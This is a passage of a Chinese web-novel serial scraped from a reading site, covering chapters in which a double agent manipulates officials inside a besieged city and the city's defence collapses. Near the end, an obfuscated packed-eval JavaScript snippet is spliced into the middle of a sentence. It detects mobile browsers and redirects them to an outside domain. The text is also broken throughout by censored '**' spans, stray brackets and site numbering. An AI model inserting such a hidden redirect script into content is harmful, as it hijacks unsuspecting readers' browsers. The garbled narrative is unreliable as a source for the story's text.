与此同时,相隔颇远的涡河对岸,谷阳城内,裹着锦裘的李清臣望着河对岸隐藏在夏日绿色中的灰蒙蒙一片,听着隐隐震动原野的动静,却露出了跟谯城城头上司马进达一样的忧色。 39314341。。 ... 第三十三章风雨行(33) 谯城南侧的战斗是在牛达、张道先所率领的两营兵马与司马进达的部队之间发生的。 作为最靠近谯城的一支部队,牛达得到军令后只留下他不熟悉的苏睦一营兵马看守驻军其实不多的城父城,自己便带着张道先极速赶往谯城。 坦诚说,牛达接到军令后对张三哥张首席只有感激。 当然感激! 张三哥跟他牛达说是兄弟,其实就是当年东都的一次遭遇,也还是人家张三哥和秦宝单方面救了他涉世未深的牛达,后来等张三哥来到东境拉杆子,四五年到了眼下,居然恢弘数十州郡,喧嚣于世,放在之前几百年的乱世早就称王称帝了……那他牛达跟人家实际上什么关系呢? 就是君臣,最不济也是帮派里老大跟喽啰的关系。 而这种关系下,对方能不计较自己各种奇怪的屡战屡败,始终坚持任用,而且是明显是一直坚持做大将任用,委实让人感激。 这一次更是无话可说,一面是给了一个集团的指挥权,然后又直接送上了禁军首脑这么大一个立功机会,任谁也要感激的。 然而,谁能想到,居然有一支禁军部队这么果断的扔下中部集团,巧妙而及时的越过了黜龙军的包抄部队,跟自家前后脚来到了谯城城下呢? 双方都猝不及防,背后遭遇突袭的牛达心中早就恨的骂娘,可司马进达又能好哪里去?后者的兵马根本就是折腾了一整日,早就疲惫欲**。 俩军登时陷入混战与苦战。 城内,正在赶晚场的司马丞相明显喝醉了,但还没醉倒,此时自然也闻得动静……而中书舍人封常、原城主诸葛德威二人不知道为什么,来的特别快,几乎是第一时间便来到堂上。 司马化达明显心慌,也明显脑袋发晕,只能勉力来问:“何处交战?何人交战?” 两人面面相觑,还是封常上前,先屏退周围所有人,尤其是那几个陪着喝酒的马屁文吏军官,便是几个司马氏贴身私卫也被要求立到堂门前,然后方才无奈拱手告知:“回禀丞相,是城南有两股兵马交战,至于何人……无外乎是禁军与黜龙贼,非要说第三家,只能是司马大将军从东都来了。” 这话回答的滴水不漏。 然而,司马丞相想了一想,反而惊吓:“二郎要杀我?” 这是什么话?! 封常满头大汗,只能小心来言:“回禀丞相,在下觉得不会。” “你不懂。”司马化达幽幽来言,一副看破一切的姿态。“你不懂,便是二郎自家不好行为,也有王代积这种人替他做,是要防备的。” 我不懂个屁! 封常无语到了至极,还是只能低头小心翼翼来言:“丞相,是这样的,属下来此,并不是因为知晓城外交战,而是知晓南方军情,路上恰好撞上这个动静……”…。。 封常说到这里便闭了嘴,乃是等对方主动询问,结果等了片刻,并没有半点动静,抬头去看,却发现这位丞相只在那里坐着发懵,也不知道是被吓得,还是酒劲委实难过去。 无奈之下,封常只能硬着头皮告知对方:“丞相,我军主力……左仆射、右仆射、崔将军、何将军四位大将,不晓得具体多少兵马,一起在城父西南一带战败,只知道右仆射领了几千人逃出来,其余人生死不知,据说全被围了……换句话说,城外十之**是右仆射刚到的残兵,而跟右仆射交战的,也应该是黜龙贼。” “是这样吗?”司马化达听到一半就慌了,强压着等对方说完,赶紧来问。“若是如此,如之奈何?” 封常松了口气,赶紧来答:“大局艰难,眼下则当速速出兵,从西门出去绕行,然后与右仆射做夹击,击败当面之敌,将() 右仆射接入城内,方可再商议大局。” 诸葛德威看了封常一眼,默不作声。 “也只能如此了。”司马化达点点头,目光从封常身侧的诸葛德威身上掠过,直接朝门口的私属侍卫下达了命令。“请令狐将军来。” 没错,出兵肯定是让令狐行带队的,丞相肯定是要在后方运筹帷幄的。 须臾片刻,令狐行全副甲胄来到堂上,不过,这位丞相身边唯一的领军大将听完叙述后,却明显有些迟疑。 “令狐将军。”这个时候,倒是一旁封常有些等不及了。“军情如火,何必迟疑?” 令狐行瞥了此人一眼,心中了然,却并不回应,反而只蹙眉朝司马化达拱手:“丞相,右仆射将丞相安危托付给在下,在下不敢不言……诸葛德威既与你出的这个出城夹击的主意,其人则必是黜龙贼的内应,可以立即斩首!” 堂上其余三人,某种意义上都是聪明人,却俱皆一愣。 回过神来,诸葛德威看了令狐行背影一眼,又看了错愕加愤怒的封常一眼,低头叉手,却还是没有吭声。 封常第二次想开口说话,而这一次却被司马化达阻止了,后者抬手示意,眯着眼睛,带着酒气来看令狐行:“令狐将军这话如何说?诸葛太守的建议明明光明正大呀!” “正是表面光明正大,实则包藏祸心。”令狐行昂首扶刀,不屑一顾道。“常理上来说,外面应该是黜龙贼与我们的人在交战,可以出城夹击,但实际上,外面交战是天黑后才交战的,交战双方都是谁,战况如何,双方具***置兵力如何,谁也不知道……不要说有可能是黜龙贼自家做戏骗城,便真是右仆射和黜龙贼在作战,我们现在开城,都有可能被黜龙贼埋伏的兵马摸进城来!届时城内空虚,那属下敢问丞相,丞相安危谁人负责?至于诸葛德威,他本就是这一郡太守、一城之主,更加方便接应贼兵,那他此时这般建议丞相,岂不显得可疑?”…。。 外面雨已经停了,但还有淅淅沥沥的积水从屋檐上滴落。至于堂上几人,司马化达歪着头在案上若有所思;令狐行昂首挺胸,独立堂中,似乎一切在握;诸葛德威仿佛傻子一般半低着头;封常也是一般低头,但好几次抬头,又都好几次低了下去,俨然是在酝酿什么……几个人都好像一时失语,以至于堂上寂静无声。 隔了许久,还是上座的丞相叹了口气,打破沉默:“令狐将军想多了,诸葛太守应该是不通军事,没想这么多……只说现在局势危殆,若不出兵,又该如何?” 令狐行想了一想,认真来对:“其实,若是按照战场距离以及双方兵力来算,黜龙贼便是大胜,其主力也不大可能这么快脱离战场来到城下的,那丞相何妨现在扔下辎重累赘,直接连夜出城往西北走?之前考虑路线、补给,是因为要为禁军全军考量,现在大局已坏,主力尽丧,咱们自行出发,便没这么多计较了。” 司马化达茫茫然一片,稀里糊涂便要点头。 倒是封常忽然上前,恳切来言:“丞相不可!” “这是何言?”司马化达是真懵了。 “丞相,道理很简单。”封常在令狐行的斜视下从容来对。“属下敢问丞相,若是出城夹击须防备黜龙贼趁机抢城,那夜间出城逃窜,就不怕被黜龙贼发觉追上吗?黜龙贼的主力是不在,可北面兵锋就在城下,而咱们在前面又没有接应,人家只要分出小股部队跟上就行!然后天一亮,黜龙贼那几个骑兵营就可以从容追上,将我们围住!” “确实。”司马化达恍然一时。“连夜出城太危险了!” “可是丞相。”令狐行赶紧来劝。“若是不走,也只是困守孤城……甚至贼人主力一至,什么宗师两三个,成丹凝丹二三十的,城池也() 无用,还是死路一条……我估计,后半夜黜龙贼就有援兵到了,明日上午主力就会到了。” “还有一件事。”封常也苦口婆心。“夜间出逃最大的倚仗不是兵力而是可靠战力,七将军是丞相亲弟,又是成丹高手,没有他,我们逃窜路上只是被几个黜龙贼高手追上,便没了结果……令狐将军虽然忠勇,怕也是无用。” 令狐行终于对封常怒目而视,后者却根本不看前者,是对案后那个酒气熏天的人躬身俯首,倒是门口的司马氏私兵们明显听懂了这话,忍不住回头来看。 “也是,也是。”意见分歧公开化,司马化达犹犹豫豫,只能趴在案上仰头四顾茫然。“可是……可是这样……又如之奈何?” 这个时候,堂上另外一人,也就是一直没吭声的诸葛德威早已经瞧明白了……之所以是眼下这个局面,主要就是令狐行与封常各怀鬼胎。 首先,两个人都因为局势动摇过,也都对司马化达不以为然,但动摇的程度却各不相同。…。。 这点,从之前两人来试探自己这个降人的过程就可以窥得一二。 令狐行有兵在手,家门也高,大不了拍屁股去找白横秋,算是有所恃,所以居高临下,姿势从容,上来就毫无忌惮的试探;相对而言封常就慌乱许多,并且一直到前面大败的消息传来才找自己,俨然是孤身一人势单力薄,看局势走向再行事的意思多一些。 其次,这俩人即便动摇,也只是出于对局势的担忧,并不是真想降服,他们都没有把投降黜龙帮当做第一选择……封常见到外面交战,晓得可能是司马进达回来了,第一反应是出兵接应;而令狐行则想护着司马化达趁机逃走。 最后,这二人明显也有矛盾。 封常的方案,是最合理的,但拿现有兵马冒险迎接司马进达入了城,他令狐行还算个屁?索性装糊涂,踩着封常提出了扔下司马进达逃走的方案,这个方案其实迎合了司马化达贪生怕死的念头,但没想到司马化达过于贪生怕死,连夜间逃窜的风险都不愿意付……结果自然引来封常的反击。 正想着呢,忽然上方来问:“诸葛太守,你以为该如何?” 诸葛德威抬起头来,看到是司马化达来问,却是毫不犹豫,“扑通”一声跪了下去。 不止是司马化达,包括其余两人也都愣住。 “丞相,我一个降人,说什么都是要被人攀诬指责的!”诸葛德威既下跪伏地,居然立即就带了哭腔。“赞同出城夹击,便说我跟黜龙贼交通,趁机引兵入城;赞同逃走,就说我包藏祸心,故意置丞相于险地,甚至说不得早就在前面布置好了陷阱要引丞相入彀;便是说请丞相留在城内固守,也要说我拖延时间,等贼人来合围的……我能如何?” 司马化达叹了口气,看了看其余两人,但两人都不吭声,也是无奈,便要自行安慰这降人。 结果,就在这时候,诸葛德威抬起头,涕泪满面之余,竟忽然在灯火下咬破手指,然后以血指举手指天:“丞相,我委实无法,只能在这里指着三辉四御给您立个誓!若是要出兵夹击黜龙贼,我愿做先锋!若是要往北走,我愿背着丞相走!若是丞相要留继续在城里,我愿意持剑为丞相守门!便是为此疑虑,就地斩了我,我也心甘情愿!” 这下子,不要说这三人,就连门口扭头观望的司马氏私兵都愣住了。 而司马化达看对方如此激烈,就要再来安慰。 孰料,诸葛德威复又叩首恸哭不止:“丞相!不是我到了这个时候还要作态,而是我已经无路可退,只有丞相一个依靠了!” “诸葛太守说的哪……!” 司马化达终于能开口了,似乎要起身来搀扶,结果刚一起来,便又跌坐() 回去,慌得封常赶紧去搀扶。 扶着丞相坐下了,还不忘回头“埋怨”令狐行:“令狐将军,你看丞相这个样子,如何能夜奔?”…。。 “出城作战难道就容易了?”令狐行皱了皱眉,本能反驳。 然而,这话说完,眼看着周边几人一个比一个能作,尤其是司马化达那个鬼样子,明显不可能速速做决断的,便干脆不再理会,直接拂袖而去了。 当然,令狐行世族子弟作风,又在禁军厮混,怎么可能就被一个酒蒙子、一个江湖混混、一个无赖文书给拦住? 其人离开郡府,堪称雷厉风行,第一时间便召集了城内禁军,乃是下令部队一面谨行城防,不许擅自出兵,也不许擅自开门纳人,一面则赶快收拾东西,主要是装备和干粮,准备护送司马丞相北走。原来,这厮已经下定决心,待会回来私下再劝一下司马化达,若是这厮果真不愿北走,便直接裹挟了他,强行把他带走! 为什么还要再劝,而不是直接动手?原因也很简单,那就是即便到了眼下局势,司马化达手里还有张底牌……其人身侧有一支精锐私兵,就是之前站在堂外,目前主体驻扎在郡府后面两侧公房里的那支精锐部队,虽然接触时间不长,令狐行也猜的到,估计全都是有修为的高手,为首的那个老头甚至可能是司马长缨留下来的凝丹高手。 故此,真到了万不得已,恐怕也只能近身劫持司马化达,才能把人带出去了。 带着这种决意,折腾了一阵子的令狐行带着一大队军士回到了郡府,迎面遇到了出门来的诸葛德威,便招了招手。 脸上还有泪痕的诸葛德威不敢怠慢,小心上前:“令狐将军请说。” “封舍人还在里面吗?”令狐行蹙眉来问。 “在。”诸葛德威赶紧做答。 令狐行顿了一下,因为不知道是不是错觉,他感觉城南的喊杀声似乎更大了一些,而且隐隐有流光闪。 但无所谓,战事越激烈,他越要及时离开,便又来看身前之人:“诸葛头领,不管你是不是内应,都回去速速收拾下东西,准备跟我们去东都,马上就走。” 诸葛德威没有半点迟疑,赶紧行礼称是。 令狐行点点头,便率众昂然进入郡府。 诸葛德威也低头向前,走到前方转向自己所居县衙路口时,却忽然黑了脸,然后立在阴影中身形不动,却回头来看令狐行的背影。 很显然,令狐行还是把诸葛德威当成了一个必要时跟黜龙帮沟通的渠道,所以才要带着对方,而诸葛德威也立即意识到,这位掌握城内兵权的禁军首领已经决定自行其是了。 但这可不是诸葛头领乐意见到的一幕……因为一旦连夜出城向北,风险就太大了,万一真让司马化达逃了怎么办? 自己这手指不是白白咬破了吗?不白哭的眼泪一把鼻涕一把了吗?不白磕头了吗? **对张首席自己都没磕过! 一念至此,诸葛德威甚至觉得手指有点疼。…。。 他站在阴影中,安静的等着,过了一阵子,看见一个身影略显狼狈的从郡府侧门中出来,却是立即不顾还有其余军士在场的情况下大声呼喊。而那人听到声音,四下瞅了几眼,发觉郡府门前军士都在往城南方向看,也是毫不犹豫低头钻入阴影。 两人见面,诸葛德威拉着那人,也就是被赶出来的封常了,直接转入一个巷口,便立即出言:“令狐将军怕是要强行带丞相北上了。” “我知道。”封常咽了下口水。 “如此,你便要**。”诸葛德威恳切提醒。 封常一怔,复又苦笑:“我如何就**?” “刚刚令狐将军见到() 我,让我收拾东西随他走,俨然是觉得我还是黜龙帮内应,必要时拿我做个说话的。”诸葛德威平静分析。“我有用,可以活。封舍人呢?你既恶了令狐将军,又是个没到凝丹的文修,路上一个壮汉怕是都能持刀把你杀了……” “他为何一定要杀我?”封常焦急打断对方。 “没说一定,只是有可能要你命。”诸葛德威纠正道。“但你真要赌上自己的命,把命交到人家手里吗?” 封常转过脸去,气喘吁吁。 “而且。”诸葛德威眯着眼睛,指向城南方向。“这还只是说黜龙帮追不上咱们的结果,若是黜龙帮追上来,你还是无用,也有可能要你的命……一来二去,你活命的成算还有几分?” 封常回过头来,死死盯住了眼前人。 但诸葛德威毫无畏惧,迎面对上对方的目光。 半晌,封常方才冷笑:“你果然是黜龙贼内应。” “我不是。”诸葛德威摊手道。“但局势变化这么快,知道我是主动投降的人不过司马丞相身边区区数人,若真有黜龙帮兄弟围上来,我只说自己是诈降,帮内到底如何处置我我不知道,但我到时对那领兵头领说就是那个封常该死,他如何处置你我也是不知道的……” 封常不吭声了。 诸葛德威也不吭声,只盯着对方等待回应。 过了一阵子,封常终于一声叹气:“你意欲何为?” “留下司马丞相。”诸葛德威言简意赅。 “我要能留下他,何至于现在被人拎着刀撵出来?”封常冷笑拂袖。 “你不能留下,但有人能。”诸葛德威言道。“令狐行依仗的不过是禁军,可是禁军只听他的吗?我们只要寻到禁军中忠于司马丞相的,就说令狐行非但对司马进达见死不救,还要挟持司马丞相逃窜,让这人开城去寻司马进达进来,不就行了?” “不行。”封常摇头道。“司马进达进来,也不会耽误时间,或战或走而已,你的目的达不到。” “那怎么能达到?”诸葛德威诚恳来问。“乱起来就行,找到那些人,让他们去阻拦令狐行,乱起来就行,没必要强求什么结果。”…。。 “你应该对这支禁军比较熟悉,谁能用?” “确实有一部能用。”封常拢手而言。“可是,如此我就能被黜龙帮任用了吗?” “任用?”轮到诸葛德威愣神了,但他马上醒悟,赶紧摆手。“都说了,我不是内应,便是向帮内说了你的功劳,等我倒霉了,你又如何?” “只要你说就好。”封常斩钉截铁。“倒霉了算我的。” 诸葛德威看了看对方,晓得不做承诺是不行的,便点了头:“我只说你有功劳,还是要看张首席本人的处置。” 封常也点头:“就在后面公房里,司马氏的私兵,几十个高手,为首的应该是个凝丹……你带我去郡府后门,我去说。” 诸葛德威点点头,也是毫不犹豫带着对方从巷子另一头离开,绕了一大圈,来到郡府后门,进入公房内。 入得公房,封常一马当先,踉踉跄跄,便做呼喊:“司马将军救我!有人要害我!” 公房里立即骚动起来。 诸葛德威愣了一下,明显畏缩,但很快他就咬咬牙,一头扎了进去。 城南数里的官道路口,司马进达已经绝望了……不仅仅是因为张行居然提前派了部队过来,也不仅仅是刚刚伍惊风忽然单枪匹马从空中划来,更重要的是,苦战、乱战到现在,城内居然毫无动静。 若是一开始就出兵,趁着对方立足未稳,一下子就冲开了,什么事都没有! 便是没出兵也行,依着自() 家兄长的德行,趁机跑了,也不枉自己辛苦这一回,可是一直战到现在,也没见城里有逃窜的动静,这是怎么一回事? 不战不逃?! 便是喝的不省人事,令狐行和封常在干吗?! 背起来跑便是。 正在想着呢,一名手下队将忽然在西北方向大呼:“七将军!七将军!” 司马进达本不该接应的,因为伍惊风的黄风就在不远处的路口乱滚,但此人正是他派出去入城传递消息的,而他本人千辛万苦至此就是为了城内那位好大兄,所以如何能忍? 便一咬牙,也腾空而起,一个雀跃落在了那名下属的方向。 双方打了个照面,那队将晓得情势危急,当场告知:“七将军!城门被锁了,说是令狐行下的令,不许任何人进入,以防黜龙贼冒充我们赚城!” 这个回答其实很在情理之中,甚至也在意料之中,只能说,有些不顺罢了。但不知道为什么,司马进达还是懵了一下,继而心情沉到了底! 他现在只觉得一切都糟透了,事情是从徐州开始糟糕起来的,然后一桩桩一件件就没有顺利的。 他不想这个时候还做什么马后炮,自我安慰自己做的选的都没错,错的都是别人! 他只是觉得一切都糟透了! 就在这种强烈的情绪侵袭下,司马进达甚至没有听到耳边的惊呼声,干脆被那道土黄色的光芒掠到面前方才如梦方醒,其人与伍大郎在空中交手几个回合,却忽然一闪,又落在原地,对已经负伤的原本那位队将做了交待:“都走!往西北走!自家寻路!我没法带你们了!”…。。 说完这话,其人再度跃起,与伍惊风当面一碰,撞得伍大郎空中几乎倒飞了出去,而待后者翻滚了下来,抬头去看时,却发现那道流光已经往城内方向划去,却不急反喜。 甚至是惊喜万分!乃至于当场大笑! 他知道,昔日司马氏名震关陇的司马七郎,如今大魏禁军最后一根脊梁,已经放弃抵抗了。 随着司马进达的逃窜入城以及伍惊风的狂笑,城外的这股原本就已经到极限的禁军登时溃散,毫无组织的往西面、南面,甚至北面而去……没办法,哪怕是司马进达指明了唯一的逃窜路径,部队夜间真溃散时又怎么可能真得辨析清楚? 黑暗中,牛达也在呼喊,却是让部队放弃追索,往城下靠拢。 司马进达狼狈飞入城内,却居然也不敢让守城军士打开城门让溃兵入城,只是寻到军士问清楚司马化达落处,便径直飞去。 来到郡府,此处正上演一出剑拔**张的好戏。 当然,**是真没有张,但剑是真拔了……令狐行挥舞长剑,立在司马丞相侧前方,严厉呵斥封常与司马氏私兵!而私兵们控制住了郡府大堂内外,也在那里喧哗,而堂外庭院中的地上,赫然已经出现尸体。 便是司马化达本人,似乎也酒醒了,只是歪着头带着某种奇怪神情斜眼来看令狐行后背。 至于被呵斥的封常则带着诸葛德威躲在了堂门外,只出个声音。 就在这个时候,司马进达来了。 一道流光划过,落在堂前,封常一个激灵,立即扑上前去:“七将军!速速救下丞相!我等本要出兵援护,结果令狐行见机不谐,居然就要弃了七将军,劫持丞相自行北归!” 令狐行在内,闻得动静,本欲驳斥,却不知为何,先手足灌铅……之前的决断和傲慢,此时宛若见了太阳的霜雪一般,一下子就黏稠起来。 而司马进达赤手空拳入了堂上,看到眼前场景,却并没有直接对令狐行发难,反而是看向了自家大兄。令狐行察觉到这一点,有心回头去看司马化达表态,() 却居然不敢背对司马进达,只能额头沁汗,手中刀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167988|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢放下。 司马化达一声不吭,只是斜视令狐行背影,努嘴示意。 司马进达见到,毫不犹豫,便往前行,只是一步,令狐行便支撑不住,居然弃了一切,鼓起真气往堂顶天窗腾起,却不知道是修为不足还是这郡府大堂修的坚固,居然在天窗这里一滞,也就是一滞,其人便觉得头晕目眩,继而全身剧痛,挣扎起身,已经是口鼻出血,耳鸣失衡。 原来,司马进达早已经追上,拽住对方脚腕,直接掼在了堂上石板之上。 这个时候,早有司马氏私兵涌上,将令狐行打断腿骨,给牢牢捆缚,押了下去。 封常也赶紧进入堂上,便要说话。…。。 结果,司马进达一摆手,拦住了封常,反而看向了自家兄长:“大兄,封舍人要你出兵援救?” “是。”司马化达明显清醒了不少,就要解释。“但我……” “兄长不必解释……令狐行要你自行北上逃窜?”司马进达继续来问。 “是。”司马化达继续点题。“但我……” “兄长。”司马进达忽然一屁股跌坐下去,然后就在地上歪着头悲愤来问。“我不是问你为何不去救我,或者为何不立即逃窜,而是问为什么两个策略一个都不选,反而犹犹豫豫,最后弄得被人拿刀子给挟持住?我扔下中军的将士,拼了命的回来,不就是怕你被黜龙贼俘虏,为人所制吗?!” 周围人一声不吭,司马化达犹豫了一下,略显尴尬的应了一声:“我那时候醉的厉害。” 司马进达看了自家兄长一眼,竟也一句话说不出来,司马化达也只是讪讪。 兄弟二人此时相顾无言。 停了片刻,封常小心来问:“如此,丞相、仆射,咱们是不是也该走了?” “能走还是要走,但只怕现在能不能走不是我们说了算。”司马进达吩咐道。“我军势已溃,若是黜龙贼压上来的快,便走不了……你去做好出逃的准备,瞅准缝隙,若是可行,咱们就走,若是不行,再寻我来说。” 封常忙不迭拱手告辞。 走出门外,一直隐身的诸葛德威立即低头跟上。 人一走,只剩自家私兵,屋内兄弟二人倒是放松不少,司马化达也进一步解释:“我当时真是喝多了,脑子转不过来了,后来慢慢的就醒悟过来,哪个都行,只是令狐行跟封常两人内斗,把我绕进去了。还有那个诸葛德威,表面上奉承我,却引着我留下来,让我觉得走不走,救不救都无所谓,这人应该就是个黜龙贼内应……等我醒悟,想要出兵救你,结果令狐行直接拎着刀带着人来了,也就是封常自己怕死,又把咱们自家人给带来堵住了他……” “什么都无所谓了。”司马进达敷衍颔首。“大兄,你若酒醒,就准备一下,咱们准备出逃。” “好。”司马化达自然无话可说。 “我说的是现在,让咱们自家人护着咱们俩走,立即就走。”司马进达随即强调。“趁封常去吸引贼人注意。” 司马化达一愣,旋即惊恐起来:“何至于此?” “已经是生死存亡了。”司马进达拍着地,无语至极。“几万人一败涂地,司马德克那些人不知道有没有死光,你还想着安逸吗?” 司马化达微微皱眉,只是解释:“我醉成这样,平素也无锻炼,若此时出逃,便是没有黜龙贼追上,也说不定能从城头掉下去摔死!终南山喝醉摔死的关陇贵种少了吗?” “便是摔死又如何?”司马进达坐在地上平静回复。…。。 “何意?”司马化达忽的彻骨冰寒。 “我此次没有在前面随诸军将() 士一起战死,以至于拼了命丢了脸也要回来,就只为一件事。”司马进达冷冷答道。“就是不让司马氏的家主为人俘虏!” 司马化达愣了一会,然后忽然将案上酒壶拎起,狠狠砸向对方,然后不顾一切暴怒起来:“我就知道!你眼里素来没有我,只是怕我成了二郎的累赘!当日在徐州,你杀了我爱妾的时候我就知道!迟早有一日你要杀了我的!” 司马进达看了自家兄长一眼,抹去了额头上的酒渍,分外平静,外围的司马氏私兵这次也都老老实实低头看地。 “我绝不拿自家性命冒险!”司马化达见状,愈发愤恨,却是掀起桌案,转到后方去了。“就在这里等死吧!看那个忠臣孝子来不来救?” 司马进达一声不吭,也不去看自家大兄,只是仰天望了望被开了一半的天窗,盯着天窗中隐约可见的几颗星星看了看,然后闭上了双眼。 城外正乱糟糟一片,诸葛德威悬着绳子出了城,结果刚解开绳子,一个蹴溜一下子就砸入墙外壕沟,摔得这位黜龙帮头领、本郡太守四肢酸痛,好像一条腿也崴了,费劲力气起身,却又因为沟内湿滑积水,半晌没有爬出去。 诸葛头领自家都蒙了,千难万险,斗智斗勇都过去了,难道要被一条小沟给困死? 这也不敢喊呀! 外面那么乱,谁也不知道谁,你说什么怕是都少不了一枪戳下来,一箭射下来的。 正哀叹间,忽然听到一个声音,正在大声指挥部队注意环城各处动静,诸葛德威也是大喜,赶紧在沟内趴着大喊:“牛大头领救我!” 牛达一愣,等了片刻,又听到一声,晓得无误,而且确实有些耳熟,赶紧去寻人,却果然是顶着城墙上几只乱箭将诸葛德威救了出来。 双方见面,牛达表情古怪。 诸葛德威俨然晓得对方意思,赶紧解释:“牛大头领不要怀疑,我是首席安排的内应,专门把司马化达往城内引的……之前你们作战时司马化达想出兵救援又想要趁机逃跑,都被我拖住了,现在司马进达入城,你们又迫近城来,便赶紧妥善……牛大头领若是不信,见到首席便好。” 牛达点点头,给出答复:“无妨,首席马上就到。” 诸葛德威一时诧异,但牛达并没有说谎,仅仅是两刻钟后,张行就出现在了他们的面前。 “诸葛头领辛苦了。”张行听完汇报,开篇明义。“此番你的功绩,不亚于前方作战的诸位大将!” 诸葛德威折腾许久,闻得此言,却是瞬间开阔,连崴的脚都不疼了。 安抚完诸葛德威,张行便看向牛达:“牛达,你要辛苦一些,一面要接收部队,围困城池,还要伍大郎他们注意是否有高手自行潜逃;一面要替我联络涡河以东,此地以南,打探北面和西面情报,对接跟来的文书、参军,就在此地建立指挥中枢。”…。。 听到前半句,牛达还有些惊愕,居然让自己指挥伍惊风,但听到后半句,却当即肃然:“三哥的意思是,暂时围住,不趁机攻入吗?” “没错,夜间太乱,逼急了太容易出意外,而我想要活的。”张行一边点头一边。“一则南边还在收尾,禁军还有最少三支过万的成建制部队在战场外侧,不知道胜负,此一时彼一时,彼时司马化达做禁军首脑,利于我们作战,现在俘虏他,也有利于我们阻吓其余禁军;二则,禁军虽败,东都位于天下中心,自带数百万人口、积攒粮帛金铁无数,却不是那么轻易动摇,更兼司马正浑然天成,做大做强情理之中,我想留个应对他的抓手。” 牛达连连颔首,跟来的白有宾与虞常南也没有驳斥的意思……与司马兄弟是死是活,被谁处置,如何处置相比,他们现在其实更怕司马兄弟死的不明不白,() 那可真是。 一夜之间,城内虽然骚动,但却始终没有突围、逃散之意,尤其是张行在牛方盛身上绑了一封劝降信送进去后,就更是安静了下来。 相对应的,城外就混乱和繁琐了许多,张行几乎是每两刻钟就要接到一份报告: 有的是南线战况的,什么抓住何稀了,李定、徐师仁联手为何稀求情了;什么莽金刚处战事不利,且战且退,结果天一黑被张虔达和李安远反向脱离战斗逃了;什么被俘虏的禁军太多,塞满了周遭几个村庄,后勤压力骤增之外可能要留下不少看管人员。 有的是涡河东面的情报,什么冯无佚撞上了牛河跟太后、小皇帝,听说了张行发布大魏除名的布告,据说是当场在泥地里抱头痛哭一场;什么赵行密受不了跟一群大魏忠臣或者同情者整日挤在一起,请求谒见张首席,说愿意提供军情,协助作战;什么全军出动的淮右盟在涣水西岸截住了鱼皆罗的大军,正在激战…… 甚至有一个报告说,帮里一支去联络淮右盟的巡骑,居然在路上遇到了神仙。 除此之外,不停有河东部队陆续赶来,因为冰桥融化,过河变得艰难,使得部队零散起来,也是个麻烦事。 倒是北面和西面,一直缺乏报告,这倒也是寻常,因为一来,张行刚刚挪到此处,哨骑还没有集中,没有撒开,只是靠牛达派遣的军事侦查部队来探听消息;二来,这两处地方除了吐万长论的部队方位需要注意,理论上也没有别的计较。 天亮以后,太阳出来了,但还是有些云层,似乎还要反复数日,经历几场间歇性雨水,才能真正的让淮西地区脱离梅雨季节。 而就这个阳光灿烂的上午,牛达将好不容易睡了一会的张行叫了起来,并向对方汇报了一个紧急情况。 “北面禁军的援军?”醒来的张行似乎并不诧异,只还是躺在那两条条凳并做的榻上。“吐万长论来了?” “来了,但不止是他。”牛达表情严肃。 张行翻身坐起,揉了揉眼睛:“不止是他是什么意思?” “淮阳郡的兵马也来了。”牛达依旧严肃。“赵佗那厮反了。” “赵佗算个什么反?”张行愣了一下,明显不以为然。“哨骑有限,只侦查到赵佗跟吐万长论的联军,没往后走?” “是。”牛达心里一惊。 而昨夜就在这附近对付的文书新首领虞常南本想说些什么,听到这里,也闭上了嘴。 张行叹了口气,终于站起身来,但起身后形容姿态却显得格外轻松,乃是以手搭棚,抬头看了看太阳,又环顾四面,只见城墙上干湿阴阳分明,不远处涡水浑浊不堪,南流不止,周围营地则杂乱无章,连栅栏都没有,遑论营房,部队疲敝明显,早餐是有的,但也是相互匀着吃干粮,只用头盔喝澄下来的河水。 这些其实都没什么。 因为这里六七个营里的部队几乎全是长途奔袭,而且一半是渡河而来,一半是经过苦战的,算是情有可原。更重要的是敌军主力已经大败,被包围的城上,部队明显人心惶惶,城中将领更是完全颓丧。 所谓大局已定之下,这些都无所谓的。 随着张行醒来,并四处张望,军中将领也汇集起来,牛达、伍惊风、王厚、李子达、夏侯宁远、诸葛德威、张道先、苏靖方,包括白有宾、虞常南等人,除了一个在城南死死看住城池的伍常在没来,基本上全到了。 张行环顾四面,神态俨然轻松,却又忽然发问:“天亮前李定是不是来信说今日上午能大约打扫完战场,陆续分兵支援包括此间的各路?” “是。”回答的是苏靖方,他是昨晚跟着张行来的那个营,而后者也一直在他营中歇息() 39314468。。 ... 第三十四章风雨行(34) “十二郎喜欢此景吗?” 张三负手缓缓走上前去,秦宝跟上,房玄乔跟着走了几步,在距离数十步的位置停下,而王五郎干脆没动,只隐身在河堤下方的阴影中,持弓搭箭肃立。 “如何不喜欢?”李清臣轻飘飘做答,却又稍微沉默了一下,然后反问。“张三郎是在试探我?担心我人要**,万念俱灰,不能帮你做事?” “只是担心你罢了。”张行负手走到跟前,望着星月波荡的河面叹道。“若非心如死灰,谁人不喜夏日风景?” “不至于。”李清臣缓缓摇头。“不过你说得对,我确实难舍夏日星汉,不然也不会在这里贪图一时了。” 张行点点头,负手与对方并肩而立,看了一会,忽然来问,却是个离题**的话语:“十二郎知道汉吗?” “天上星汉,地上河汉,何其美哉?有谁人不知?”李清臣平静做答。 “可惜了。”张行叹道。“当日白帝爷厚积薄发,断江斩龙以出汉水,迅速扫荡天下,却来不及建制立朝便登位而去,否则他所建皇朝怕不是要以汉来称。” “有道理。”李清臣思索片刻,点点头,复又来问。“那你呢?” “我?“张行一时不解。 “你若建制立朝,称什么?”李清臣俨然好奇。 “没想过。”张行有一说一。 “是没想过皇朝名号,还是没想过称帝?”李清臣继续来问。 “都没想过。”张行干脆答道。“我这些年的迹象你李十二难道不知道吗?全都是走一步看一步罢了……就连当日**,也不过是一怒为之,哪来这么多念想?” “我不信。”李清臣摇头道。“你**的举措,分明是个有章法的。” “有章法跟处心积虑没关系。”张行辩解道。“早在东都我天天与李四郎他们掰扯,何况还有这么多典故、历史可以借鉴。” 